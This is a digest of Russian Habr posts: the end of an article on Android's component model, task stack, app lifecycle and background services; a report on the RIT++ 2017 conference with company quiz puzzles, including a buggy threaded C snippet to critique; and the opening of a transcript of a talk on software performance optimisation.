          Многие операционные системы делятся на собственно операционную систему и приложения, установленные поверх, ничего друг о друге не знающие и не умеющие взаимодействовать. Система компонентов и intent’ов Android позволяет приложениям, по-прежнему абсолютно ничего друг о друге не зная, составлять для пользователя один интегрированный системный user experience — установленные приложения реализуют части одной большой системы, они составляют из себя систему. И это, с одной стороны, происходит прозрачно для пользователя, с другой — представляет неограниченные возможности для кастомизации.


          По-моему, это очень красиво.


          Tasks & back stack


          Как я уже говорил, в браузере пользователь может переключаться не между сайтами, а между вкладками, история каждой из которых может содержать много страниц разных сайтов. Аналогично, в Android пользователь может переключаться между задачами (tasks), которые отображаются в виде карточек на recents screen. Каждая задача представляет собой back stack — несколько activity, «наложенных» друг на друга.


          Когда одна activity запускает другую, новая activity помещается в стек поверх старой. Когда верхняя activity в стеке завершается — например, когда пользователь нажимает системную кнопку «назад» — предыдущая activity в стеке снова отображается на экране.


          Back stack


          Каждый стек может включать в себя activity из разных приложений, и несколько копий одной activity могут быть одновременно открыты в рамках разных задач или даже внутри одного стека.


          При запуске новой activity могут быть указаны специальные флаги, такие как singleTop, singleTask, singleInstance и CLEAR_TOP, которые модифицируют этот механизм. Например, приложения-браузеры обычно разрешают запуск только одной копии своей основной activity, и для переключения между открытыми страницами реализуют собственную систему вкладок. С другой стороны, Custom Tabs — пример activity в браузере (чаще всего Chrome), которая ведёт себя почти «как обычно», то есть показывает только одну страницу, но позволяет одновременно открывать несколько своих копий.


          App lifecycle


          Одно из основных ограничений встраиваемых и мобильных устройств — небольшое количество оперативной памяти (RAM). Если современные флагманские устройства уже оснащаются несколькими гигабайтами оперативной памяти, то в первом смартфоне на Android, HTC Dream (он же T-Mobile G1), вышедшем в сентябре 2008 года, её было всего 192 мегабайта.


          HTC Dream


          Проблема ограниченной памяти дополнительно осложняется тем, что в мобильных устройствах, в отличие от «обычных» компьютеров, не используются swap-разделы (и swap-файлы) — в том числе и из-за низкой (по сравнению с SSD и HDD) скорости доступа к SD-картам и встроенной флеш-памяти, где они могли бы размещаться. Начиная с версии 4.4 KitKat, Android использует zRAM swap, то есть эффективно сжимает малоиспользуемые участки памяти. Тем не менее, проблема ограниченной памяти остаётся.


          Если все процессы представляют собой для системы чёрный ящик, лучшая из возможных стратегия поведения в случае нехватки свободной памяти — принудительно завершать («убивать») какие-то процессы, что и делает Linux Out Of Memory (OOM) Killer. Но Android знает, что происходит в системе, ему известно, какие приложения и какие их компоненты запущены, что позволяет реализовать гораздо более «умную» схему освобождения памяти.


          Во-первых, когда свободная память заканчивается, Android явно просит приложения освободить ненужную память (например, сбросить кэш), вызывая методы onTrimMemory/onLowMemory. Во-вторых, Android может эффективно проводить сборку мусора в фоновых приложениях, освобождая память, которую они больше не используют (на уровне Java), при этом не замедляя работу текущего приложения.


          Но основной механизм освобождения памяти в Android — это завершение наименее используемых компонентов приложений (в основном activity). Подчеркну, что Android может завершать приложения не полностью, а покомпонентно, оставляя более используемые части запущенными — например, из двух копий одной activity одна может быть завершена, а другая остаться запущенной.


          Система автоматически выбирает компоненты, наименее важные для пользователя (например, activity, из которых пользователь давно ушёл), даёт им шанс дополнительно освободить ресурсы, вызывая такие методы, как onDestroy, и завершает их, полностью освобождая используемую ими память и ресурсы (в том числе view hierarchy в случае activity). После этого, если в процессе приложения не осталось запущенных компонент, процесс может быть завершён.


          Если пользователь возвращается в activity, завершённую системой из-за нехватки памяти, эта activity запускается снова. При этом перезапуск происходит прозрачно для пользователя, поскольку activity сохраняет своё состояние при завершении (onSaveInstanceState) и восстанавливает его при последующем запуске. Реализованные в Android Framework виджеты используют этот механизм, чтобы автоматически сохранить состояние интерфейса (UI) при перезапуске — с точностью до введённого в EditText текста, положения курсора, позиции прокрутки (scroll) и т.д. Разработчик приложения может дополнительно реализовать сохранение и восстановление каких-то ещё данных, специфичных для этого приложения.


          С точки зрения пользователя этот механизм похож на использование swap: в обоих случаях при возвращении в выгруженную часть приложения приходится немного подождать, пока она загружается снова — в одном случае, с диска, в другом — пересоздаётся по сохранённому состоянию.


          Именно этот механизм автоматического перезапуска и восстановления состояния создаёт у пользователя ощущение, что приложения «запущены всегда», избавляя его от необходимости явно запускать и закрывать приложения и сохранять введённые в них данные.


          Services


          Приложениям может потребоваться выполнять действия, не связанные напрямую ни с какой activity, в том числе, продолжать делать их в фоне, когда все activity этого приложения завершены. Например, приложение может скачивать из сети большой файл, обрабатывать фотографии, воспроизводить музыку, синхронизировать данные или просто поддерживать TCP-соединение с сервером для получения уведомлений.


          Такую функциональность нельзя реализовывать, просто запуская отдельный поток — это было бы для системы чёрным ящиком; в том числе, процесс был бы завершён при завершении всех activity, независимо от состояния таких фоновых операций. Вместо этого Android предлагает использовать ещё один вид компонентов — сервис.


          Сервис нужен, чтобы сообщить системе, что в процессе приложения выполняются действия, которые не являются частью activity этого приложения. Сам по себе сервис не означает создание отдельного потока или процесса — его точки входа (entry points) запускаются в основном потоке приложения. Обычно реализация сервиса запускает дополнительные потоки и управляет ими самостоятельно.


          Сервисы во многом похожи на activity: они тоже запускаются с помощью intent’ов и могут быть завершены системой при нехватке памяти.


          Запущенные сервисы могут быть в трёх состояниях:


          • Foreground service — сервис, выполняющий действие, состояние которого важно для пользователя, например, загрузка файла или воспроизведение музыки. Такой сервис обязан отображать уведомление в системной шторке уведомлений (примеры: состояние загрузки, название текущей песни и управление воспроизведением). Система считает такой сервис примерно настолько же важным для пользователя, как и текущая activity, и завершит его только в крайнем случае.


          • Background service — сервис, выполняющий фоновое действие, состояние которого не интересует пользователя (чаще всего, синхронизацию). Такие сервисы могут быть завершены при нехватке памяти с гораздо большей вероятностью. В старых версиях Android большое количество одновременно запущенных фоновых сервисов часто становилось причиной «тормозов»; начиная с версии 8.0 Oreo, Android серьёзно ограничивает использование фоновых сервисов, принудительно завершая их через несколько минут после того, как пользователь выходит из приложения.


          • Bound service — сервис, обрабатывающий входящее Binder-подключение. Такие сервисы предоставляют какую-то функциональность для других приложений или системы (например, WallpaperService и Google Play Services). В этом случае система может автоматически запускать сервис при подключении к нему клиентов и останавливать его при их отключении.

          Рекомендуемый способ выполнять фоновые действия — использование JobScheduler, системного механизма планирования фоновой работы. JobScheduler позволяет приложению указать критерии запуска сервиса, такие как:


          • Доступность сети. Здесь приложение может указать, требуется ли этому сервису наличие сетевого подключения, и если да, то возможна ли работа в роуминге или при использовании лимитного (metered) подключения.
          • Подключение к источнику питания, что позволяет сервисам выполняться, не «сажая батарею».
          • Бездействие (idle), что позволяет сервисам выполняться, пока устройство не используется, не замедляя работу во время активного использования.
          • Обновления контента — например, появление новой фотографии.
          • Период и крайний срок запуска — например, очистка кэша может производиться ежедневно, а синхронизация событий в календаре — каждый час.

          JobScheduler планирует выполнение (реализованное как вызов через Binder) зарегистрированных в нём сервисов в соответствии с указанными критериями. Поскольку JobScheduler — общесистемный механизм, он учитывает при планировке критерии зарегистрированных сервисов всех установленных приложений. Например, он может запускать сервисы по очереди, а не одновременно, чтобы предотвратить резкую нагрузку на устройство во время использования, и планировать периодическое выполнение нескольких сервисов небольшими группами (batch), чтобы предотвратить постоянное энергозатратное включение-выключение радиооборудования.


          Про TCP-соединение

          Как можно заметить, использование JobScheduler не может заменить собой одного из вариантов использования фоновых сервисов — поддержания TCP-соединения с сервером для получения push-уведомлений. Если бы Android предоставлял приложениям такую возможность, устройству пришлось бы держать все приложения, соединяющиеся со своими серверами, запущенными всё время, а это, конечно, невозможно.


          Решение этой проблемы — специальные push-сервисы, самый известный из которых — Firebase Cloud Messaging от Google (бывший Google Cloud Messaging).


          Клиентская часть FCM реализована в приложении Google Play Services. Это приложение, которое специальным образом исключается из обычных ограничений на фоновые сервисы, поддерживает одно соединение с серверами Google. Разработчик, желающий отправить своему приложению push-уведомление, пересылает его через серверную часть FCM, после чего приложение Play Services, получив сообщение, передаёт его приложению, которому оно предназначено.


          Такая схема позволяет, с одной стороны, мгновенно доставлять push-уведомления всем приложениям (не дожидаясь следующего периода синхронизации), с другой стороны, не держать множество приложений одновременно запущенными.


          Broadcast receivers & content providers


          Кроме activity и сервисов, у приложений под Android есть два других вида компонентов, менее интересных для обсуждения — это broadcast receiver’ы и content provider’ы.


          Broadcast receiver — компонент, позволяющий приложению принимать broadcast’ы, специальный вид сообщений от системы или других приложений. Исходно broadcast’ы, как следует из названия, в основном использовались для рассылки широковещательных сообщений всем подписавшимся приложениям — например, система посылает сообщение AIRPLANE_MODE_CHANGED при включении или отключении самолётного режима.


          Сейчас вместо подписки на такие broadcast’ы, как NEW_PICTURE и NEW_VIDEO, приложения должны использовать JobScheduler. Broadcast’ы используются либо для более редких событий (таких как BOOT_COMPLETED), либо с явными intent’ами, то есть именно в качестве сообщения от одного приложения к другому.


          Content provider — компонент, позволяющий приложению предоставлять другим приложениям доступ к данным, которыми оно управляет. Пример данных, доступ к которым можно получить таким образом — список контактов пользователя.


          При этом приложение может хранить сами данные каким угодно образом, в том числе на устройстве в виде файлов, в настоящей базе данных (SQLite) или запрашивать их с сервера по сети. В этом смысле content provider — это унифицированный интерфейс для доступа к данным, независимо от формы их хранения.


          Взаимодействие с content provider’ом во многом похоже на доступ к удалённой базе данных через REST API. Приложение-клиент запрашивает данные по URI (например, content://com.example.Dictionary.provider/words/42) через ContentResolver. Приложение-сервер определяет, к какому именно набору данных был сделан запрос, используя UriMatcher, и выполняет запрошенное действие (query, insert, update, delete).


          Именно поверх content provider’ов реализован Storage Access Framework, позволяющий приложениям, хранящим файлы в облаке (например, Dropbox и Google Photos) предоставлять доступ к ним остальным приложениям, не занимая место на устройстве полной копией всех хранящихся в облаке файлов.




          В следующей статье я расскажу о процессе загрузки Android, о содержимом файловой системы, о том, как хранятся данные пользователя и приложений, и о root-доступе.

          Original source: habrahabr.ru (comments, light).

          https://habrahabr.ru/post/338494/


          Метки:  

          Что увидело НЛО, прилетев на РИТ++ 2017

          Вторник, 26 Сентября 2017 г. 14:04 + в цитатник
          TM_content сегодня в 14:04 Маркетинг

          Что увидело НЛО, прилетев на РИТ++ 2017

            Эмоции были настолько сильны, что написать статью об интернет-фестивале мы решились только к концу лета, ждали, когда уляжется жара. Хотя на самом деле, ждали фото и видео из нашей мобильной студии. Итак, что же произошло 5-6 июня в Сколково?


            Жизнь – скучная штука, и надо использовать любую возможность, чтобы заставить людей улыбаться (Э. Кустурица)

            ИТ-шный Вавилон


            Теоретически мы предполагали, что летний РИТ++ будет отличаться от осеннего HighLoad++, но совершенно ошиблись с вектором своих догадок. Казалось, что фестиваль Интернет-технологий будет более лайтовым, с меньшим количеством хардкорных докладов и с большим количеством участников, мало связанных с ИТ. Всё оказалось с точностью до наоборот — РИТ++ оказался фестивалем очень серьёзных, хардкорных технологий. Но от HighLoad его отличали люди — они были гораздо более включёнными, контактными и готовыми к диалогу. Хайлоад более интровертен, и это действительно заметно. Было 1800 участников, 14 параллельных потоков, 23 митапа, 16 стендов компаний.

            Организаторы постарались формировать коммуникации внутри фестиваля: так, были организованы каналы в Slack и Telegram. В них активно шли обсуждения, происходила переписка, каждый участник мог спросить, попросить, оставить важное объявление, уточнить какие-то детали. Более того, каналы живы и активны до сих пор — в них задают вопросы, общаются, устраивают мини-бунты и флешмобы. В целом, это коммуникации, от которых не хочется отключаться даже спустя три месяца.

            Немного отличались и стенды компаний — лето и публика внесли свои коррективы. Так, можно было насладиться крутыми граффити на стенде Avito, пообниматься с йети компании Vscale, угоститься мороженым с шоколадной крошкой и выпить прохладный лимонад.


            Сложный, яркий стенд Avito — граффити и адрес компании на Хабре


            Шаман нашаманил подарков и призов



            Йети пользовался огромной популярностью. Как видите, кто-то даже умудрился напоить приветливое существо

            Хабр тоже не остался в стороне — оба дня у нас проходил сложный экзамен, на котором мы давали решать задачи, собранные заранее у разных компаний. Некоторые добровольцы стояли у стенда по несколько часов и исчёркивали ручками лист за листом — вокруг нас царил азарт. И всё неспроста — кроме крутых наклеек и наклеек марафона, мы раздавали инвайты. Строго один в руки! А в конце второго дня у нас на стенде было пиво. Но о нём мы ещё расскажем, это отдельная эпопея.

            Кстати, вот эти задачи, решайте с удовольствием
            Вопрос от компании Parallels
            1. Что такое VT-x, для чего нужно, как работает (в общих словах)?
            2. Что такое RVI, для чего нужно, как работает (в общих словах)?

            Вопрос от компании «Аладдин Р.Д.»
            Windows: Почему перед захватом spin-lock система повышает IRQL до DPC?

            Windows: Предположим, у вас есть стек устройства, в котором есть фильтр, сжимающий данные. Как прочитать данные в сжатом виде?

            Вопрос от компании Badoo
            Ваш коллега, единственный, пишущий на Go, летит в командировку и в данный момент находится над Атлантическим океаном. Админы разбудили вас посреди ночи и говорят, что программа коллеги выдает единственную ошибку «access denied» без каких-либо подробностей. Миллионы долларов летят в трубу. Какие действия вы предпримете этой ночью, чтобы поправить косяк вашего теперь уже бывшего коллеги?

            Задача от компании Mail.ru Group
            Мальчик Онуфрий живет в восьмибитном (беззнаковом) мире. Онуфрий отложил в копилку 181 рубль. На День рождения родители подарили ему ещё 75 рублей. Сколько теперь всего денег у Онуфрия?

            Задача от компании Иннополис Университет
            Очень талантливый двухметровый баскетболист демонстрирует свою крутизну и кидает мяч от головы в оооочень высоко подвешенную корзину — на высоте 15 метров. Мяч взмывает в воздух с вертикальной скоростью 16 м/c. Есть ли шанс у очень талантливого баскетболиста, если (в стиле всех физических задач) предположить, что из спортивного зала откачан воздух,
            а ускорение свободного падения хитрыми манипуляциями доведено до 10 м/с2?

            Дети, живущие в 4-мерном пространстве, не строят карточные домики — это очень скучно. Вместо этого они строят вот такие пирамидки: опирают тетраэдр очередного слоя на три вершины предыдущего. Каждый маленький тетраэдр весит 1 грамм и имеет высоту 1 см. Сколько весит пирамидка высотой в метр?



            Вам от предыдущего разработчика достался вот такой код.

            #include 
            #include 
            int x, i = 0, r = 0;
            void* busy_worker(void* arg) {
            	int shift = *((int*)arg);
            	for (x = shift; x < shift + 500; x++) r += x;
            	i++;
            	return NULL;
            }
            int main() {
            	pthread_t t1, t2;
            	int s1 = 0, s2 = 500;
            	pthread_create( &t1, NULL, busy_worker, &s1 );
            	pthread_create( &t2, NULL, busy_worker, &s2 );
            	while(i < 2);
            	printf("result = %d\n", r);
            }

            Что этот код делает? Что с ним (с кодом, не с разработчиком) не так? Перечислите как можно больше проблем.

            Вопрос от компании М.Видео
            У Vmware есть интересная технология VMware Fault Tolerance которая позволяет защитить виртуальные машины с помощью кластеров непрерывной доступности, позволяющих в случае отказа хоста с основной виртуальной машиной мгновенно переключиться на ее «теневую» работающую копию на другом сервере ESX. Однако эта технология не имеет широкого распространения. Почему?


            Участники решают хабразадачи от компаний

            Напротив нас был один из самых притягательных во всех смыслах этого слова стенд издательства Альпина Паблишер с сотнями книг по разработке, дизайну, презентациям и даже умных и полезных книг для детей. Мы нет-нет, да и подходили полистать очередное издание. Они все были прекрасны.

            И вот среди этого Вавилона внезапно грянул разухабистый оркестр с прекрасными бодрящими мелодиями — так мог сделать только Кустурица. Верите-нет, но именно это событие задало задорный тон и энергичный темп всему мероприятию. Это было стопроцентное попадание.


            Настроение на РИТ++ было замечательным: за окном тёплый дождик-туман, в Сколково — весело, умно, креативно

            Но и на этом режиссёрская часть не закончилась — оба дня по Сколково ходил потрясающий шаман, лихо пританцовывая с симпатичными участницами под тогда ещё нетленку «Грибов» «Между нами тает лёд». Ещё бы этот шаман стабильное Интернет-соединение нашаманил, цены бы ему не было. Увы, перебои со скоростью интернета — технологическое проклятье инновационного центра Сколково. Это было, пожалуй, единственное, что иногда портило настроение.


            Шаман никого не оставил равнодушным. Лиса тоже доставила

            Кстати, оказался большим любителем российской попсы. А пока вы можете изучить устройство бубна


            Даже шаман не смог пройти мимо наклеек с НЛО — так он усилил свои способности


            Территория Интернета


            Однако внешний блеск ничего не значит, если нет содержания. Содержание РИТ++ было настолько насыщенным, что наши два текстовых транслятора непрерывно ругались и разрывались между теми секциями, на которые хотели попасть. Любая аудитория могла найти доклады на свой вкус или поучаствовать в многочисленных событиях внутри РИТ++.

            Секции с докладами


            Весь РИТ++ был разделён на несколько тематических конференций. Причём выступления всех докладчиков секций были глубоко-тематическими. Что всегда радует на фестивалях Олега Бунина, так это время доклада — за один час можно успеть и отлично развернуть тему, и ответить на вопросы. Отсутствие технических накладок с презентациями и микрофонами превращает каждую секцию в непрерывный поток отборной и нужной информации.

            • Whaile Rider — конференция по управлению и предпринимательству. Доклады этого потока отражали все направления управления компанией, от стратегических вопросов до детального разбора подготовки инфографики (совершенно потрясающий доклад) и поиска секретов эффективности работы техподдержки.

            На некоторых докладах не хватало мест

            • Aletheia Business — конференция по применению психологии в управлении и бизнесе. Если коротко — учились лучше разбираться в себе и в людях, говорили о карьере, лояльности и о том, почему русские люди не улыбаются. Вообще, в ходе РИТ++ было много обсуждений именно HR-аспектов IT-сферы и вопросов психологии. Хедлайнерами этого обсуждения стали Петр Людвиг со своим докладом «Конец прокрастинации» и Максим Дорофеев с идеей экономии мыслетоплива и потрясающими слайдами. Эти ребята в прямом смысле слова собрали зал, точнее, самый большой зал — конгресс-холл.


            Пётр Людвиг пытался победить непобедимое. Или нет?

            • Web-scale IT Conference — конференция на стыке enterprise и web-культур. Эта, на первый взгляд, расплывчатая по тематикам конференция, собрала в себе нестандартные обсуждения: государство + бизнес, микросервисы, омниканальность и т.д. Из того, что мы слышали в этом потоке, особенно нам понравился доклад Александра Тараторина из Райффайзенбанка о реальном DevOps в Enterprise — больше всего удивила структурированность и прозрачность того, как это сделано в банке. Казалось бы, косная функциональная оргструктура, а насколько современно всё решено.
            • Frontend Conf — конференция фронтенд-разработчиков. Фронтенд есть фронтенд — говорили буквально обо всём.
            • App’s Conf — конференция по разработке мобильных приложений занимала аж два зала. Вопросы интерфейсов, логики работы приложений, тестирования и дизайна обсуждали представители компаний, знающих толк в мобильной разработке как никто: Avito, Lamoda, 2ГИС, Mail.ru Group, Одноклассники, Яндекс, Сбербанк-Технологии и т.д.



            • Root Conf — конференция по эксплуатации и DevOps. Всё ожидаемо: много о DevOps, немного о Docker, мониторинге и других вопросах администрирования.
            • High Load Junior — обучающая конференция разработчиков высоконагруженных систем. Это не подборка «лайтовых» докладов, как кто-то мог подумать, а глубокие обучающие доклады для начинающих, но уже секущих тему джуниоров. Некоторые доклады были хардкорнее, чем на осеннем Хайлоаде. Но главное — это чёткие и понятные инструкции, которые можно взять и перенести в свою повседневную работу. Кстати, в этот раз было много про DDoS-атаки и привычно много — про базы данных. Тон всему High Load Junior задал мужественный и умный доклад о MySQL от женственных и креативных Светы Смирновой и Насти Распопиной из Percona. Ну а докладом потока, заслуживающим гран-при по скромному мнению наших трансляторов, стал доклад Сергея Спорышева из компании ITSumma — он поведал полную историю создания Проект1917. Ума не приложим, почему этого захватывающего рассказа до сих пор нет в блоге ребят на Хабре!

            Хайлоад-девушки Percona Света и Настя


            Ребятам из ITSumma даже на конференции приходилось работать. Ещё бы, когда у них такие проекты! Юля строго следила за процессом

            • Backend Conf— конференция бэкенд-разработчиков. Бэкенд есть бэкенд — крутые профильные обсуждения.



            Митапы


            Ещё одна форма работы экспертов на РИТ++ — многочисленные митапы. В небольших и больших залах собирались люди, которые обсуждали вопросы в острой дискуссионной форме. Впрочем, форма была заранее гарантирована содержанием. Вот только некоторые темы, на которые мы успели зайти на несколько минут и погреть уши:

            • управление интеллектуальными активами
            • DevOps
            • релокация в Европу
            • правовые вопросы
            • создание фреймворка с чистого листа
            • Tarantool
            • TDD
            • производительность и проч.

            Судя по обсуждениям, особый интерес для участников представлял митап, а точнее, мастер-класс по микросервисам и Kubernetes. А ещё мы заметили, что в свободных мини-переговорных Сколково создавались стихийные митапы и мастер-классы — ещё одна хорошая традиция конференций Олега Бунина.
            Да нормально всё было :) Главное, что конференция не портится, на ней по-прежнему много возможностей послушать самых-самых разных специалистов, расширить свой кругозор и углубить знания. Это было и остаётся самым главным. Всё остальное — мелочи. Впрочем, мне нравится что вы все время что-то меняете и добавляете. Само по себе это пользы может и не приносить, но есть ощущение динамики и стремления развиваться. Это воодушевляет.

            Выделенные события


            В рамках РИТ++ проходили отдельные потоки «под крылом» компаний — серии докладов, объединённые в одну конференцию. В этом году это были:

            • Разработка и машинное обучение от SuperJob, Tarantool и Digital Security
            • Микросервисы от Avito
            • День PGDAY’17 Russia — много всего о базах данных и о PostgreSQL в частности.


            PostgreSQL — родина слонов

            Подобные секции позволяют общаться внутри узкой группы по интересам и уделить больше внимания практическим вопросам. Ну и конечно, это возможность продемонстрировать компаниям свой опыт, а участникам — свой. Иногда они друг друга находят.


            Участники продолжают решать задачи на стенде Хабра

            Кроме официальных мероприятий от организаторов, общение происходило непрерывно — в кулуарах, столовых, на диванах по периметру Сколково, на кофе-брейках и стендах компаний. Ради интереса мы подходили к небольшим группам, прислушивались — все разговоры касались опыта, лучших практик, работы. Собственно, тем и хороши подобные фестивали — ты возвращаешься на работу с идеями, а иногда и с готовыми решениями.


            Наклейки Хабра разлетелись в мгновение ока

            НЛО прилетело и оставило надписи там


            Хабр давно нашёл свой уголок в Сколково, причём весьма нескромный — ещё бы, кроме стойки, нам нужно разместить целую студию, где мы брали интервью у самых интересных, ярких, узнаваемых спикеров. В этом году мы пошли на эксперимент и попросили одних профессионалов взять интервью у других профессионалов. Наша задумка была идеальной — разговоры легко клеились, это были целые обсуждения, выходящие за формат «вопрос-ответ».


            Коварная паутина нашей студии заманивала самых лучших спикеров


            Они грелись в лучах славы софитов


            Мы отсняли более 10 часов видео и вот только-только стали выходить цельные ролики. Кстати, 47% участников отметили стенд Хабрахабра как наиболее полезный.


            Наш продюсер нативных проектов Катя и Олег Бунин. «Вооот столько народу на РИТ++. Воооот такие планы на будущее».


            Денис пришёл и оставил НЛО там


            Угадайте, кто сидит спиной


            Ответ внутри

            Это Денис Крючков, основатель Хабра. И НЛО всегда с ним (в смысле в верхнем правом углу)

            Интересный разговор состоялся у основателя Хабра Дениса Крючкова с советником Президента по Интернету Германом Клименко. Вот это версус-баттл, а не то, что вы там на Youtube на 20 млн. просмотров насмотрели.





            Хардкорное интервью с Иваном Васильевым, дизайн-директором Альфа-Банка:





            Самое честное интервью с Петром Людвигом (английский):





            Прекрасный Максим Дорофеев, «доктор-прокрастинолог». В интервью вы в том числе узнаете, какие слова нельзя говорить в студии:





            В интервью была наша фишка — все собеседники общались не только с хабрарепортёрами, но и с самим НЛО, которое задавало резкие, короткие и провокационные вопросы. Некоторые даже терялись.

            Хабрахабр традиционно не ограничился студией, а провёл круглый стол по вопросам HR и технологического евангелизма при участии евангелиста Александра Белоцерковского из Microsoft, devrel Avito Михаила Клюева, Александра Сербула из 1С-Битрикс и Ольги Белой из «Моего Круга». По ощущениям слушателей и ведущего, один час круглого стола пролетел как 10 минут. Местами было горячо!





            Со спикерами было настолько интересно, что Марика была вынуждена прерывать ИТ-беседы с помощью суровых табличек:



            Параллельно наши репортёры веди текстовый онлайн обоих дней конференции, накручивая по Сколково по 27 000 шагов в день.


            Редкое фото — онлайн изнутри. А заодно и ноутбук одного из модераторов Хабра. Палится любитель сразу трёх браузеров! (на самом деле, там ещё и Firefox был)


            НЛО иногда нуждается в техобслуживании


            Коламбия не представляет, какой был хардкор


            Однако сессиями конференций и докладами хардкор не ограничивался. В первый день в шатре мы отмечали день рождения Хабра и всем наливали изысканные сорта пива.


            Помните Чёрного Властелина? Он был и там


            Вдарим рок в этом инновационном центре!


            А пока все потягивали хабрапиво, со сцены играли коллективы, состоящие из айтишников. Влажная тёплая погода немного разморила участников, и они неспеша общались во дворе.


            Дождя не было, был приятный туман. Общались в тёплой во всех смыслах атмосфере


            Настольные игры увлекли многих


            В то же самое время чуть ли не до глубокой ночи на территории Сколково происходили горячие соревнования по киберспорту и неспешные турниры по настольным играм. Словами не передать степень азарта и эмоциональной напряжённости с площадки. Все буквально выгорали.


            Ни одна фотография не передаст атмосферу соревнований по киберспорту. Это был накал

            Ну ничего, утренняя спецзарядка это исправила.



            Мастерами кунг-фу — не рождаются
            Мастерами кунг-фу — становятся
            Опасностей — не пугаются
            Приемы точны — все сбудется...


            We will rock you


            А пока вы читаете этот пост, вовсю идёт подготовка к HighLoad++ — осень уже здесь, самое время поднять вопросы высоконагруженных проектов. Кстати, в этом году будут IoT и блокчейн. Готовьтесь!


            Шаману просто сказали, что до HighLoad++ осталось совсем немного
            Original source: habrahabr.ru (comments, light).

            https://habrahabr.ru/post/338522/


            Метки:  

            Перформанс: что в имени тебе моём? — Алексей Шипилёв об оптимизации в крупных проектах

            Вторник, 26 Сентября 2017 г. 14:01 + в цитатник
            ARG89 сегодня в 14:01 Разработка

            Перформанс: что в имени тебе моём? — Алексей Шипилёв об оптимизации в крупных проектах

              Оптимизация производительности издавна не дает покоя разработчикам, представляясь своеобразным «золотым ключиком» к интересным решениям и хорошему послужном списку. Большую обзорную экскурсию по ключевым вехам оптимизации больших проектов  – от общих принципов до ловушек и противоречий —  на прошедшем JPoint 2017 провел Алексей Шипилёв, эксперт по производительности.





              Под катом — расшифровка его доклада.

              А вот тут можно найти саму презентацию: jpoint-April2017-perf-keynote.pdf

              О спикере
              Алексей Шипилёв — в проблематике производительности Java более 10 лет. Сейчас работает в Red Hat, где разрабатывает OpenJDK и занимается его производительностью. Разрабатывает и поддерживает несколько подпроектов в OpenJDK, в том числе JMH, JOL и JCStress. До Red Hat работал над Apache Harmony в Intel, а затем перешел в Sun Microsystems, которая была поглощена Oracle. Активно участвует в экспертных группах и сообществах, работающих над вопросами производительности и многопоточности.


              Я работаю в компании Red Hat. Раньше, когда я работал в Oracle, мы вставляли «Safe Harbor»-слайды, которые говорили, что всё, что мы будем вам рассказывать, на самом деле может быть неправдой, поэтому нужно думать своей головой. Если вы пытаетесь внедрить какие-нибудь решения в свои продукты, неплохо было бы нанять профессионалов, которые вам скажут, что там правда, а что — нет.

              Крупно: каковы критерии успеха в разработке


              Предположим, вы разрабатываете продукт. Что для вас успешный продукт? Мы тут все — коммерческие программисты. Мы можем обманывать себя тем, что нам платят зарплату за то, что мы кодим. Но на самом деле нам платят зарплату для того, чтобы продавались либо сервисы, которые продукты обслуживают, либо продукты целиком.



              Но какие существуют чисто разработческие критерии успешности продукта (без учета бизнес-цели)?

              • Когда ты общаешься с программистами, они обычно говорят, что хороший (успешный) продукт — тот, у которого корректная реализация.
              • Потом приходят безопасники и говорят: «Вы там, конечно, накодили, но неплохо было бы сделать так, чтобы там не было дырок. Потому что иначе мы-то продадим, но потом нас в суд потащат». Однако это тоже не главное.
              • Главный критерий успешности проекта — это соответствие того, что получилось, желаниям пользователя. Конечно, если у нас есть хороший маркетинговый департамент, он может объяснить клиенту, что результат — это именно то, что он хочет. Но в большинстве случаев хочется, чтобы клиент сам это понял. Очень много программистов как бы на подкорке это имеют в виду, но очень мало людей это прямо вербализируют.
              • Где-то на четвёртом месте — быстрота и удобство разработки. Это удобство и не сумасшествие программистов. Когда вы во время найма разговариваете с HR-ами, они будут обещать всякие плюшки, массаж и тому подобное, но на самом деле бизнесу всё равно, как вам там живётся, при условии, что вы всё ещё работаете и не собираетесь уходить. И что код написан условно хорошо, а не так, что вы хотите выброситься из окна или пойти работать в другую компанию.
              • Производительность обычно стоит ещё ниже в списке приоритетов. Часто её даже нет в критериях успеха. Продукт хоть как-то шевелится, да и слава Богу.

              Поэтому я удивляюсь, когда читаю на Хабре посты про производительность Java и вижу там подобные комментарии:



              Эксперты говорят: «Ну а что говорить по производительность Java? Она работает нормально. Нас устраивает, всё хорошо». Но приходят комментаторы и отвечают: «Очень показательно, что никто из четырех экспертов не оценил Java, как быструю. Скорее, как достаточную и удовлетворяющую».

              Вы говорите так, будто это плохо. Если с точки зрения бизнеса технология удовлетворяет бизнес-критериям, то и слава Богу! У меня нет идеалистических представлений о том, что всё должно быть вылизано, гладко, идеально. Так не бывает — обычно продукты содержат ошибки.

              Корректная vs быстрая программа


              Люди давно научились некоторому двойному мышлению по поводу корректности программ. (спрашивает в зал) Кто может честно сказать, что в его программах есть баги? (в зале много рук) Подавляющее большинство. Но все же считают, что их программы более-менее корректны. Понятие корректной программы обладает симметрией с понятием быстрой программы.



              «Корректная программа» — это программа, в которой не видно бесящих пользователя ошибок. То есть ошибки там вообще-то есть, но они не заставляют пользователя отказаться от покупки продукта. С «быстрой программой» симметричная ситуация — в ней не то, чтобы нет перформансных проблем, просто эти проблемы не бьют пользователя по темечку каждый раз, когда он пытается что-то сделать.

              «В критерии успеха вложились». Критерии успеха есть как функциональные, так и перформансные: хорошо, если программа отвечает за 100 миллисекунд. Отвечает? Отлично, едем дальше.

              «Количество багов в корректной программе обычно известно». Это как раз одна из показательных метрик взрослости проекта, поскольку ноль багов в программе означает, что никто толком не заботится о том, чтобы их в багтрекере регистрировать (потому что у вас и пользователей нет, ха-ха!). С перформансными проблемами такая же история. Перформансные проблемы известны, и тогда мы говорим, что это «быстрая» программа. (делает воздушные кавычки)


              Как в корректной, так и в быстрой программе пути обхода этих перформансных и функциональных багов известны. У вас есть FAQ, который говорит: «Если вы сделаете так, то будет больно; ну дак и не делайте так».

              Стадии развития проектов — кривая им. Ш


              Практически все проекты, где я участвовал в перформансной работе, проходят некоторые стандартные фазы развития. Когда-то я сформулировал, что эти фазы выглядят примерно так:



              Это параметрический график: время тут течет от точки «A» до точки «B», «C», «D», «E». По оси ординат у нас производительность, по оси абсцисс — некоторая абстрактная сложность кода.

              Обычно всё начинается с того, что люди велосипедят прототип, который медленно, но работает. Он достаточно сложен, потому что мы навелосипедили просто так, чтобы он не разваливался под собственным весом.

              После того как начинается оптимизация — потихонечку начинается переписывание разных частей. Находясь в этой зелёной зоне, разработчики обычно берут профайлеры и переписывают куски кода, которые написаны очевидно ужасно. Это одновременно снижает сложность кода (потому что вы выпиливаете плохие куски) и улучшает производительность.

